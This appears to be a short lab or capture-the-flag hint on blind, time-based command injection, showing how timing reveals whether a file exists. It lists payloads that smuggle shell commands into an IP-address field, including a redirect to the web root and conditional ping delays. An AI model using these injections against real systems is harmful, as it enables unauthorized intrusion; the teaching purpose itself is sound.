Blind Command Injection Hint

2. Time-Based

Network Test

Target:

Goal: Determine if a file named "/tmp/flag" exists

Injections to Try

127.0.0.1 | ls > /var/www/html/YOURNAME.htm
Fails because < and > are filtered.
127.0.0.1 | if [ -f /tmp/flag ]; then ping -c 10 127.0.0.1; fi;ls
Fast because the file doesn't exist
127.0.0.1 | if [ -f /tmp/netok ]; then ping -c 10 127.0.0.1; fi;ls
Slow because the file does exist